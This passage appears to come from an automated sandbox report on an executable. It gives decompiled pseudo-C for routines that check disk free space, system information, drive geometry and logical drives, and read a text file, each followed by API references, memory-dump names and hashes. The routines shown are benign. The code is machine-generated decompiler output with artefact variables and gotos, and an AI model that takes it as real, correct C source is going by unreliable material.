				long _v20;
				long _v24;
				long _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				char _v44;
				char _v52;
				_Unknown_base(*)()* _t37;
				signed int _t43;
				void* _t49;
				intOrPtr* _t54;
				signed int _t60;
				intOrPtr* _t61;
				signed int* _t62;

				_v5 = _v5 & 0x00000000;
				_t62 = __edx;
				_v12 = __ecx;
				_t37 = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "GetDiskFreeSpaceExW");
				_t61 = _a8;
				_t54 = _a4;
				if(_t37 != 0) {
					_t49 =  *_t37(_v12,  &_v52,  &_v36,  &_v44);
					 *_t54 = _v36;
					 *(_t54 + 4) = _v32;
					 *_t61 = _v44;
					_v5 = _t49 != 0;
					 *(_t61 + 4) = _v40;
				}
				if(GetDiskFreeSpaceW(_v12,  &_v16,  &_v20,  &_v28,  &_v24) != 0) {
					_t43 = _v16;
					_t60 = _t43 * _v20 >> 0x20;
					 *_t62 = _t43 * _v20;
					_t62[1] = _t60;
					if(_v5 == 0) {
						 *_t54 = E01263D00(_v24, 0,  *_t62, _t60);
						 *(_t54 + 4) = _t60;
						 *_t61 = E01263D00(_v28, 0,  *_t62, _t62[1]);
						 *(_t61 + 4) = _t60;
					}
					return 1;
				} else {
					return 0;
				}
			}

0x01237dfa
0x01237e06
0x01237e08
0x01237e17
0x01237e1d
0x01237e20
0x01237e25
0x01237e36
0x01237e3d
0x01237e42
0x01237e48
0x01237e4d
0x01237e51
0x01237e51
0x01237e6f
0x01237e75
0x01237e78
0x01237e7f
0x01237e81
0x01237e84
0x01237e93
0x01237e95
0x01237ea7
0x01237ea9
0x01237ea9
0x00000000
0x01237e71
0x00000000
0x01237e71

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,GetDiskFreeSpaceExW,74711190,000000FF,00000000,?,?,?,?,?,?,?,?,?,01236787,00000001), ref: 01237E10
GetProcAddress.KERNEL32(00000000), ref: 01237E17
GetDiskFreeSpaceW.KERNEL32(00000001,01236787,?,?,?,?,?,?,?,?,?,?,?,?,01236787,00000001), ref: 01237E67

Strings

Nqt, xrefs: 01237E17
GetDiskFreeSpaceExW, xrefs: 01237E01
kernel32.dll, xrefs: 01237E0B

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressDiskFreeHandleModuleProcSpace
String ID: GetDiskFreeSpaceExW$kernel32.dll$Nqt
API String ID: 1197914913-2652039587
Opcode ID: e9211c37afe7aa83b879ffe15d5d39f43e23006e38974a3cfd61288c5d456824
Instruction ID: 1d440ad941994b61480ff813bc2a5671a64119d211bb249de00c62e79e1c6138
Opcode Fuzzy Hash: e9211c37afe7aa83b879ffe15d5d39f43e23006e38974a3cfd61288c5d456824
Instruction Fuzzy Hash: A8210AB291020AAFDF11DF98CC45AEEBFF8FF58300F148069E555A7250E731A954CB60

Uniqueness

Uniqueness Score: -1.00%

Function 012433F3 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E012433F3(signed char** __ecx, signed char** __edx, void* __eflags) {
				struct _SYSTEM_INFO _v40;
				char _v76;
				void* __ebp;
				_Unknown_base(*)()* _t14;
				signed char** _t24;
				signed char** _t25;
				void* _t26;

				_t26 = __eflags;
				_t25 = __ecx;
				_t24 = __edx;
				__ecx[1] = __ecx[1] & 0x00000000;
				 *( *__ecx) =  *( *__ecx) & 0x00000000;
				__edx[1] = __edx[1] & 0x00000000;
				 *( *__edx) =  *( *__edx) & 0x00000000;
				GetSystemInfo( &_v40);
				E01243454(_t25,  &_v40, _t26);
				_t14 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetNativeSystemInfo");
				_t27 = _t14;
				if(_t14 != 0) {
					 *_t14( &_v76);
					return E01243454(_t24,  &_v76, _t27);
				}
				return _t14;
			}

0x012433f3
0x012433fa
0x012433fd
0x01243401
0x01243405
0x0124340a
0x0124340e
0x01243415
0x01243420
0x01243436
0x0124343c
0x0124343e
0x01243444
0x00000000
0x0124344b
0x01243453

APIs

GetSystemInfo.KERNEL32(?), ref: 01243415

Part of subcall function 01243454: __EH_prolog.LIBCMT ref: 01243459

GetModuleHandleA.KERNEL32(kernel32.dll,GetNativeSystemInfo), ref: 0124342F
GetProcAddress.KERNEL32(00000000), ref: 01243436

Strings

Nqt, xrefs: 01243436
GetNativeSystemInfo, xrefs: 01243425
kernel32.dll, xrefs: 0124342A

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AddressH_prologHandleInfoModuleProcSystem
String ID: GetNativeSystemInfo$kernel32.dll$Nqt
API String ID: 2024292667-1365689194
Opcode ID: bc954a9620991a3681c683fb346b53c39fdb84a6df321007324c40547c5345db
Instruction ID: 4f2e7800d5324ca30671fe30b06b7927f48a6dd298e2bc1db3afac812415a3cd
Opcode Fuzzy Hash: bc954a9620991a3681c683fb346b53c39fdb84a6df321007324c40547c5345db
Instruction Fuzzy Hash: 1EF0F672A203209FDB15EB64D848BDDB7ECAF94215F048558D101D7190DBB49905C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 012366D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 157
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E012366D0(void** __ecx, void* __edi, long _a4) {
				char _v5;
				short _v10;
				long _v12;
				short _v14;
				char _v16;
				void* _v20;
				void* _v24;
				signed int _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v44;
				void _v48;
				char _v56;
				char _v64;
				void* _v84;
				void* _v88;
				void _v96;
				void* _v108;
				void* _v112;
				void _v136;
				void* _t71;
				void* _t78;
				long _t101;
				signed int _t103;
				void** _t108;

				_t108 = __ecx;
				_t71 =  *__ecx;
				__ecx[2] = 0;
				__ecx[1] = 0;
				__ecx[3] = 0;
				if(_t71 == 0xffffffff || __ecx[1] == 0) {
					L23:
					return _t71;
				} else {
					_v5 = 1;
					_t71 = DeviceIoControl(_t71, 0x74004, 0, 0,  &_v96, 0x20,  &_v12, 0);
					if(_t71 != 0) {
						_t108[2] = _v88;
						_t108[3] = _v84;
						_t71 = _a4;
						_t101 = 0x5c;
						_t108[1] = 1;
						_v5 = 0;
						if( *_t71 == _t101 &&  *((intOrPtr*)(_t71 + 2)) == _t101 &&  *((short*)(_t71 + 4)) == 0x2e &&  *((intOrPtr*)(_t71 + 6)) == _t101 &&  *((short*)(_t71 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t71 + 0xc)) == 0) {
							_v12 = _t101;
							_v16 =  *((intOrPtr*)(_t71 + 8));
							_v14 = 0x3a;
							_v10 = 0;
							_t71 = E01237DF4( &_v16,  &_v64,  &_v24,  &_v56);
							if(_t71 == 0) {
								_v5 = 1;
							} else {
								_t108[2] = _v24;
								_t71 = _v20;
								_t108[3] = _t71;
							}
						}
					}
					if(_t108[1] == 0) {
						_t78 = DeviceIoControl( *_t108, 0x700a0, 0, 0,  &_v136, 0x28,  &_a4, 0) & 0xffffff00 | _t77 != 0x00000000;
						_t108[1] = _t78;
						if(_t78 == 0) {
							_t71 = DeviceIoControl( *_t108, 0x70000, 0, 0,  &_v48, 0x18,  &_a4, 0) & 0xffffff00 | _t81 != 0x00000000;
							_t108[1] = _t71;
							if(_t71 == 0) {
								_t71 = DeviceIoControl( *_t108, 0x2404c, 0, 0,  &_v48, 0x18,  &_a4, 0) & 0xffffff00 | _t87 != 0x00000000;
								_t108[1] = _t71;
							}
							if(_t108[1] != 0) {
								_t82 = _v28;
								_t103 = _v28 * _v32 >> 0x20;
								_t71 = E01263D00(E01263D00(_t82 * _v32, _t103, _v36, 0), _t103, _v48, _v44);
								_t108[2] = _t71;
								_t108[3] = _t103;
							}
						} else {
							_t108[2] = _v112;
							_t71 = _v108;
							_t108[3] = _t71;
						}
					}
					if(_v5 == 0 || _t108[1] == 0) {
						goto L23;
					} else {
						_t71 = _t108[2] | _t108[3];
						if(_t71 == 0) {
							goto L23;
						}
						E012365C4(_t108);
						return E012365B1();
					}
				}
			}

0x012366db
0x012366df
0x012366e1
0x012366e7
0x012366ea
0x012366ed
0x01236866
0x01236866
0x012366fc
0x01236716
0x0123671a
0x0123671e
0x01236725
0x0123672b
0x0123672e
0x01236731
0x01236732
0x01236739
0x0123673c
0x01236762
0x01236766
0x01236778
0x0123677e
0x01236782
0x01236789
0x01236799
0x0123678b
0x0123678e
0x01236791
0x01236794
0x01236794
0x01236789
0x0123673c
0x012367a0
0x012367c1
0x012367c6
0x012367c9
0x012367f1
0x012367f6
0x012367f9
0x01236813
0x01236816
0x01236816
0x0123681c
0x0123681e
0x01236822
0x01236837
0x0123683c
0x0123683f
0x0123683f
0x012367cb
0x012367ce
0x012367d1
0x012367d4
0x012367d4
0x012367c9
0x01236846
0x00000000
0x0123684d
0x01236850
0x01236853
0x00000000
0x00000000
0x01236857
0x00000000
0x0123685e
0x01236846

APIs

DeviceIoControl.KERNEL32 ref: 0123671A
DeviceIoControl.KERNEL32 ref: 012367BD
DeviceIoControl.KERNEL32 ref: 012367ED
DeviceIoControl.KERNEL32 ref: 0123680F

Part of subcall function 01237DF4: GetModuleHandleW.KERNEL32(kernel32.dll,GetDiskFreeSpaceExW,74711190,000000FF,00000000,?,?,?,?,?,?,?,?,?,01236787,00000001), ref: 01237E10
Part of subcall function 01237DF4: GetProcAddress.KERNEL32(00000000), ref: 01237E17
Part of subcall function 01237DF4: GetDiskFreeSpaceW.KERNEL32(00000001,01236787,?,?,?,?,?,?,?,?,?,?,?,?,01236787,00000001), ref: 01237E67

Strings

:, xrefs: 01236778

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ControlDevice$AddressDiskFreeHandleModuleProcSpace
String ID: :
API String ID: 4250411929-336475711
Opcode ID: 3940bb60afc1ffce42a1c936368ff3de05471a3a417979c9340d6433e907f885
Instruction ID: 1939f560026aeb3385cd13e85e711243d36cf367ecc28a2f2f129181e1152f90
Opcode Fuzzy Hash: 3940bb60afc1ffce42a1c936368ff3de05471a3a417979c9340d6433e907f885
Instruction Fuzzy Hash: F25194F5910749BEEB21DF98C840EEEBBFCEF48310F04C459E25597251E271AA44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0123176C Relevance: 6.3, APIs: 4, Instructions: 259
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E0123176C(void* __ecx, intOrPtr __edx) {
				signed int _t96;
				char _t99;
				signed int _t103;
				signed int _t105;
				signed int* _t111;
				signed int _t114;
				intOrPtr _t115;
				signed short* _t120;
				signed int _t124;
				unsigned int _t128;
				signed int _t130;
				char _t134;
				signed int* _t136;
				signed int** _t150;
				signed int** _t158;
				intOrPtr _t169;
				signed int _t174;
				signed int* _t179;
				signed int* _t180;
				void* _t188;
				void* _t189;
				signed int* _t191;
				signed int _t194;
				signed int _t195;
				void* _t196;

				E012639E0(E01264194, _t196);
				 *(_t196 - 0x50) =  *(_t196 - 0x50) | 0xffffffff;
				_t191 =  *(_t196 + 0xc);
				 *((intOrPtr*)(_t196 - 0x10)) = __edx;
				 *_t191 = 0;
				 *((intOrPtr*)(_t196 - 4)) = 0;
				if(E012368C6(__ecx) != 0) {
					_t96 = E012364B7(_t196 - 0x50, _t196 - 0x1c);
					__eflags = _t96;
					if(_t96 == 0) {
						goto L1;
					} else {
						__eflags =  *(_t196 - 0x18);
						if( *(_t196 - 0x18) > 0) {
							goto L2;
						} else {
							__eflags =  *(_t196 - 0x1c) - 0x7fffffe0;
							if( *(_t196 - 0x1c) >= 0x7fffffe0) {
								goto L2;
							} else {
								E012328E9(_t196 - 0x28);
								 *((char*)(_t196 - 4)) = 1;
								__eflags =  *((intOrPtr*)(_t196 + 8)) - 0x4b0;
								if( *((intOrPtr*)(_t196 + 8)) == 0x4b0) {
									L24:
									_t174 =  *(_t196 - 0x1c);
									_t103 = _t174 & 0x00000001;
									__eflags = _t103;
									if(_t103 == 0) {
										_t136 = 0;
										__eflags = _t174;
										 *(_t196 + 0xc) = 0;
										if(_t174 != 0) {
											_t124 = _t103 | 0xffffffff;
											__eflags = _t174 - _t124;
											if(_t174 <= _t124) {
												_t124 = _t174;
											}
											_push(_t124);
											_t136 = E01231A96();
											 *(_t196 + 0xc) = _t136;
										}
										 *((char*)(_t196 - 4)) = 2;
										_t105 = E01236923(_t196 - 0x50, _t136,  *(_t196 - 0x1c), _t196 - 0x14);
										__eflags = _t105;
										if(_t105 != 0) {
											_t106 =  *(_t196 - 0x14);
											__eflags =  *(_t196 - 0x14) -  *(_t196 - 0x1c);
											if( *(_t196 - 0x14) !=  *(_t196 - 0x1c)) {
												goto L32;
											} else {
												__eflags = 0 -  *(_t196 - 0x18);
												if(0 !=  *(_t196 - 0x18)) {
													goto L32;
												} else {
													E01236497(_t196 - 0x50);
													_t194 =  *(_t196 - 0x1c) >> 1;
													__eflags = _t194 -  *((intOrPtr*)(_t196 - 0x20));
													if(_t194 >  *((intOrPtr*)(_t196 - 0x20))) {
														E012326A3(_t196 - 0x28, _t194);
													}
													_t150 =  *(_t196 - 0x28);
													__eflags =  *((intOrPtr*)(_t196 + 8)) - 0x4b0;
													 *(_t196 + 0xc) = _t150;
													if( *((intOrPtr*)(_t196 + 8)) != 0x4b0) {
														_t188 = 0;
														__eflags = _t194;
														if(_t194 <= 0) {
															goto L47;
														} else {
															_t106 = _t136;
															while(1) {
																_t179 =  *_t106;
																__eflags = _t179;
																if(_t179 == 0) {
																	goto L32;
																}
																_t188 = _t188 + 1;
																 *_t150 = _t179;
																_t106 =  &(_t106[0]);
																_t150 =  &(_t150[0]);
																__eflags = _t188 - _t194;
																if(_t188 < _t194) {
																	continue;
																} else {
																	goto L47;
																}
																goto L63;
															}
															goto L32;
														}
													} else {
														_t189 = 0;
														__eflags = _t194;
														if(_t194 <= 0) {
															L47:
															_t111 =  *(_t196 + 0xc);
															 *((char*)(_t196 - 4)) = 1;
															_push(_t136);
															_t67 = _t111 + _t194 * 2;
															 *_t67 =  *(_t111 + _t194 * 2) & 0x00000000;
															__eflags =  *_t67;
															 *(_t196 - 0x24) = _t194;
															goto L48;
														} else {
															_t180 = _t136;
															while(1) {
																_t106 =  *_t180;
																__eflags = _t106;
																if(_t106 == 0) {
																	goto L32;
																}
																_t189 = _t189 + 1;
																 *_t150 = _t106;
																_t180 =  &(_t180[0]);
																_t150 =  &(_t150[0]);
																__eflags = _t189 - _t194;
																if(_t189 < _t194) {
																	continue;
																} else {
																	goto L47;
																}
																goto L63;
															}
															goto L32;
														}
													}
												}
											}
										} else {
											 *_t191 = GetLastError();
											L32:
											_push(_t136);
											goto L20;
										}
									} else {
										E01231ABD(_t103,  *(_t196 - 0x28));
										goto L21;
									}
								} else {
									__eflags =  *((intOrPtr*)(_t196 + 8)) - 0x4b1;
									if( *((intOrPtr*)(_t196 + 8)) == 0x4b1) {
										goto L24;
									} else {
										E0123232F(_t196 - 0x34);
										_t128 =  *(_t196 - 0x1c);
										 *((char*)(_t196 - 4)) = 3;
										__eflags = _t128 -  *((intOrPtr*)(_t196 - 0x2c));
										if(_t128 >  *((intOrPtr*)(_t196 - 0x2c))) {
											E01232285(_t196 - 0x34, _t128);
										}
										_t130 = E01236923(_t196 - 0x50,  *(_t196 - 0x34),  *(_t196 - 0x1c), _t196 + 0xc);
										__eflags = _t130;
										if(_t130 != 0) {
											_t106 =  *(_t196 + 0xc);
											__eflags =  *(_t196 + 0xc) -  *(_t196 - 0x1c);
											if( *(_t196 + 0xc) !=  *(_t196 - 0x1c)) {
												goto L19;
											} else {
												__eflags = 0 -  *(_t196 - 0x18);
												if(0 !=  *(_t196 - 0x18)) {
													goto L19;
												} else {
													E01236497(_t196 - 0x50);
													_t106 =  *(_t196 - 0x34);
													 *( *(_t196 + 0xc) + _t106) =  *( *(_t196 + 0xc) + _t106) & 0x00000000;
													_t169 = 0;
													__eflags =  *_t106;
													if( *_t106 != 0) {
														do {
															_t169 = _t169 + 1;
															__eflags =  *((char*)(_t169 + _t106));
														} while ( *((char*)(_t169 + _t106)) != 0);
													}
													__eflags = _t169 -  *(_t196 + 0xc);
													 *((intOrPtr*)(_t196 - 0x30)) = _t169;
													if(_t169 !=  *(_t196 + 0xc)) {
														goto L19;
													} else {
														__eflags =  *((intOrPtr*)(_t196 + 8)) - 0xfde9;
														if( *((intOrPtr*)(_t196 + 8)) != 0xfde9) {
															_t111 = E01233087(_t196 - 0x28, _t196 - 0x34,  *((intOrPtr*)(_t196 + 8)));
															goto L23;
														} else {
															_t111 = E012333BD(_t196 - 0x34, _t196 - 0x28);
															__eflags = _t111;
															if(_t111 != 0) {
																L23:
																_push( *(_t196 - 0x34));
																 *((char*)(_t196 - 4)) = 1;
																L48:
																E01231ABD(_t111);
																E012328E9(_t196 - 0x40);
																_t114 =  *(_t196 - 0x24);
																_t195 = 0;
																__eflags = _t114;
																 *((char*)(_t196 - 4)) = 4;
																if(_t114 > 0) {
																	_t158 =  *(_t196 - 0x28);
																	while(1) {
																		__eflags =  *_t158 - 0xfeff;
																		if( *_t158 != 0xfeff) {
																			goto L52;
																		}
																		_t195 = _t195 + 1;
																		_t158 =  &(_t158[0]);
																		__eflags = _t195 - _t114;
																		if(_t195 < _t114) {
																			continue;
																		}
																		goto L52;
																	}
																}
																L52:
																__eflags = _t195 - _t114;
																if(__eflags >= 0) {
																	L60:
																	_t115 = E01231A47( *((intOrPtr*)(_t196 - 0x10)), _t196 - 0x40, __eflags);
																	_t134 = 1;
																} else {
																	while(1) {
																		_t115 =  *((intOrPtr*)( *(_t196 - 0x28) + _t195 * 2));
																		__eflags = _t115 - 0xfeff;
																		if(_t115 == 0xfeff) {
																			break;
																		}
																		__eflags = _t115 - 0xfffe;
																		if(_t115 == 0xfffe) {
																			break;
																		} else {
																			__eflags = _t115 - 0xa;
																			if(__eflags == 0) {
																				L58:
																				E01231A47( *((intOrPtr*)(_t196 - 0x10)), _t196 - 0x40, __eflags);
																				_t120 =  *(_t196 - 0x40);
																				 *(_t196 - 0x3c) =  *(_t196 - 0x3c) & 0x00000000;
																				 *_t120 =  *_t120 & 0x00000000;
																				__eflags =  *_t120;
																			} else {
																				__eflags = _t115 - 0xd;
																				if(__eflags == 0) {
																					goto L58;
																				} else {
																					E01231089(_t196 - 0x40, _t115);
																				}
																			}
																			_t195 = _t195 + 1;
																			__eflags = _t195 -  *(_t196 - 0x24);
																			if(__eflags < 0) {
																				continue;
																			} else {
																				goto L60;
																			}
																		}
																		goto L61;
																	}
																	_t134 = 0;
																}
																L61:
																E01231ABD(E01231ABD(_t115,  *(_t196 - 0x40)),  *(_t196 - 0x28));
																goto L62;
															} else {
																goto L19;
															}
														}
													}
												}
											}
										} else {
											 *_t191 = GetLastError();
											L19:
											_push( *(_t196 - 0x34));
											L20:
											E01231ABD(E01231ABD(_t106),  *(_t196 - 0x28));
											L21:
											E01236497(_t196 - 0x50);
											_t99 = 0;
										}
									}
								}
							}
						}
					}
				} else {
					L1:
					 *_t191 = GetLastError();
					L2:
					_t134 = 0;
					L62:
					E01236497(_t196 - 0x50);
					_t99 = _t134;
				}
				L63:
				 *[fs:0x0] =  *((intOrPtr*)(_t196 - 0xc));
				return _t99;
			}

0x01231771
0x01231779
0x0123177f
0x01231785
0x01231788
0x0123178e
0x01231798
0x012317b0
0x012317b5
0x012317b7
0x00000000
0x012317b9
0x012317b9
0x012317bc
0x00000000
0x012317be
0x012317be
0x012317c5
0x00000000
0x012317c7
0x012317ca
0x012317d4
0x012317d8
0x012317db
0x012318b4
0x012318b4
0x012318be
0x012318be
0x012318c0
0x012318cc
0x012318ce
0x012318d0
0x012318d3
0x012318d5
0x012318d8
0x012318da
0x012318dc
0x012318dc
0x012318de
0x012318e4
0x012318e7
0x012318e7
0x012318f1
0x012318f9
0x012318fe
0x01231900
0x01231910
0x01231915
0x01231918
0x00000000
0x0123191a
0x0123191a
0x0123191d
0x00000000
0x0123191f
0x01231922
0x0123192a
0x0123192c
0x0123192f
0x01231935
0x01231935
0x0123193a
0x0123193d
0x01231940
0x01231943
0x01231963
0x01231965
0x01231967
0x00000000
0x01231969
0x01231969
0x0123196b
0x01231970
0x01231972
0x01231975
0x00000000
0x00000000
0x01231977
0x01231979
0x0123197c
0x0123197e
0x0123197f
0x01231981
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x01231981
0x00000000
0x0123196b
0x01231945
0x01231945
0x01231947
0x01231949
0x01231983
0x01231983
0x01231986
0x0123198a
0x0123198b
0x0123198b
0x0123198b
0x01231990
0x00000000
0x0123194b
0x0123194b
0x0123194d
0x0123194d
0x01231950
0x01231953
0x00000000
0x00000000
0x01231955
0x01231957
0x0123195a
0x0123195c
0x0123195d
0x0123195f
0x00000000
0x01231961
0x00000000
0x01231961
0x00000000
0x0123195f
0x00000000
0x0123194d
0x01231949
0x01231943
0x0123191d
0x01231902
0x01231908
0x0123190a
0x0123190a
0x00000000
0x0123190a
0x012318c2
0x012318c5
0x00000000
0x012318c5
0x012317e1
0x012317e1
0x012317e8
0x00000000
0x012317ee
0x012317f1
0x012317f6
0x012317f9
0x012317fd
0x01231800
0x01231806
0x01231806
0x01231818
0x0123181d
0x0123181f
0x0123182b
0x01231830
0x01231833
0x00000000
0x01231835
0x01231835
0x01231838
0x00000000
0x0123183a
0x0123183d
0x01231842
0x01231848
0x0123184c
0x0123184e
0x01231850
0x01231852
0x01231852
0x01231853
0x01231853
0x01231852
0x01231859
0x0123185c
0x0123185f
0x00000000
0x01231861
0x01231861
0x01231868
0x012318a3
0x00000000
0x0123186a
0x01231870
0x01231875
0x01231877
0x012318a8
0x012318a8
0x012318ab
0x01231993
0x01231993
0x0123199c
0x012319a1
0x012319a4
0x012319a6
0x012319a8
0x012319ac
0x012319ae
0x012319b1
0x012319b1
0x012319b6
0x00000000
0x00000000
0x012319b8
0x012319ba
0x012319bb
0x012319bd
0x00000000
0x00000000
0x00000000
0x012319bd
0x012319b1
0x012319bf
0x012319bf
0x012319c1
0x01231a09
0x01231a0f
0x01231a14
0x012319c3
0x012319c3
0x012319c6
0x012319ca
0x012319ce
0x00000000
0x00000000
0x012319d0
0x012319d4
0x00000000
0x012319d6
0x012319d6
0x012319da
0x012319ed
0x012319f3
0x012319f8
0x012319fb
0x012319ff
0x012319ff
0x012319dc
0x012319dc
0x012319e0
0x00000000
0x012319e2
0x012319e6
0x012319e6
0x012319e0
0x01231a03
0x01231a04
0x01231a07
0x00000000
0x00000000
0x00000000
0x00000000
0x01231a07
0x00000000
0x012319d4
0x01231a43
0x01231a43
0x01231a16
0x01231a21
0x00000000
0x00000000
0x00000000
0x00000000
0x01231877
0x01231868
0x0123185f
0x01231838
0x01231821
0x01231827
0x01231879
0x01231879
0x0123187c
0x01231884
0x0123188a
0x0123188e
0x01231893
0x01231893
0x0123181f
0x012317e8
0x012317db
0x012317c5
0x012317bc
0x0123179a
0x0123179a
0x012317a0
0x012317a2
0x012317a2
0x01231a28
0x01231a2b
0x01231a30
0x01231a30
0x01231a32
0x01231a38
0x01231a40

APIs

__EH_prolog.LIBCMT ref: 01231771
GetLastError.KERNEL32(00000000,?,00000001,00000000), ref: 0123179A

Part of subcall function 01236497: FindCloseChangeNotification.KERNELBASE(00000000,?,012363FA,000000FF,00000009,00000001), ref: 012364A2

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

GetLastError.KERNEL32(?,7FFFFFE0,?,00000000,?,00000001,00000000), ref: 01231821

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ErrorLast$ChangeCloseFindH_prologNotificationfree
String ID:
API String ID: 1885295778-0
Opcode ID: 5943bf7842e735c27f41d135404c5e7542aadd91038c545167386b6915eb2981
Instruction ID: 94da8ee0e6a25e9bc883feb7e25cddcda3440b5495dff3293d01b1474c7f6015
Opcode Fuzzy Hash: 5943bf7842e735c27f41d135404c5e7542aadd91038c545167386b6915eb2981
Instruction Fuzzy Hash: BA91CFB1D2014BDEDF25EFA8C880AFDBBB5FFA4314F148029DA5267250DB705A56CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01236306 Relevance: 4.6, APIs: 3, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E01236306(intOrPtr __ecx, void* __eflags) {
				signed int _t30;
				long _t31;
				intOrPtr _t36;
				long _t45;
				long _t47;
				intOrPtr _t48;
				long _t62;
				WCHAR* _t65;
				void* _t66;

				E012639E0(E01264664, _t66);
				 *((intOrPtr*)(_t66 - 0x18)) = __ecx;
				E0124C900(__ecx);
				_t45 = GetLogicalDriveStringsW(0, 0);
				 *(_t66 - 0x14) = _t45;
				if(_t45 == 0) {
					L13:
					_t30 = 0;
				} else {
					_t31 = 0x7fffffff;
					if(_t45 <= 0x7fffffff) {
						_t31 = _t45;
					}
					_push(_t31 + _t31);
					_t65 = E01231A96();
					 *(_t66 - 0x20) = _t65;
					 *(_t66 - 4) =  *(_t66 - 4) & 0x00000000;
					_t47 = GetLogicalDriveStringsW(_t45, _t65);
					_t62 = 0;
					 *((intOrPtr*)(_t66 - 0x10)) = _t47;
					if(_t47 == 0 || _t47 >  *(_t66 - 0x14)) {
						E01231ABD(_t34, _t65);
						goto L13;
					} else {
						_t36 = E012328E9(_t66 - 0x2c);
						 *(_t66 - 4) = 1;
						 *(_t66 - 0x14) = 0;
						if(_t47 > 0) {
							_t36 = 0;
							_t48 = 2;
							do {
								if( *((short*)(_t65 + _t48 - 2)) == 0) {
									E01232A28(_t66 - 0x2c, _t36 + _t65);
									_t15 = _t62 + 1; // 0x1
									 *(_t66 - 0x14) = _t15;
									_push(_t66 - 0x2c);
									 *((intOrPtr*)(_t66 - 0x1c)) = _t48;
									E0123150C( *((intOrPtr*)(_t66 - 0x18)));
									_t36 = _t48;
								}
								_t62 = _t62 + 1;
								_t48 = _t48 + 2;
							} while (_t62 <  *((intOrPtr*)(_t66 - 0x10)));
							_t47 =  *((intOrPtr*)(_t66 - 0x10));
						}
						_t30 = E01231ABD(E01231ABD(_t36,  *((intOrPtr*)(_t66 - 0x2c))), _t65) & 0xffffff00 |  *(_t66 - 0x14) == _t47;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t66 - 0xc));
				return _t30;
			}

0x0123630b
0x01236316
0x01236319
0x0123632a
0x0123632e
0x01236331
0x012363d4
0x012363d4
0x01236337
0x01236337
0x0123633e
0x01236340
0x01236340
0x01236344
0x0123634a
0x0123634d
0x01236350
0x01236358
0x0123635a
0x0123635e
0x01236361
0x012363ce
0x00000000
0x01236368
0x0123636b
0x01236372
0x01236376
0x01236379
0x0123637d
0x0123637f
0x01236380
0x01236386
0x0123638e
0x01236396
0x01236399
0x0123639f
0x012363a0
0x012363a3
0x012363a8
0x012363a8
0x012363aa
0x012363ac
0x012363ad
0x012363b2
0x012363b2
0x012363c8
0x012363c8
0x01236361
0x012363dc
0x012363e4

APIs

__EH_prolog.LIBCMT ref: 0123630B
GetLogicalDriveStringsW.KERNEL32(00000000,00000000,?,?,00000000), ref: 01236328
GetLogicalDriveStringsW.KERNEL32(00000000,00000000,?,00000000), ref: 01236356

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: DriveLogicalStrings$H_prologfree
String ID:
API String ID: 396970233-0
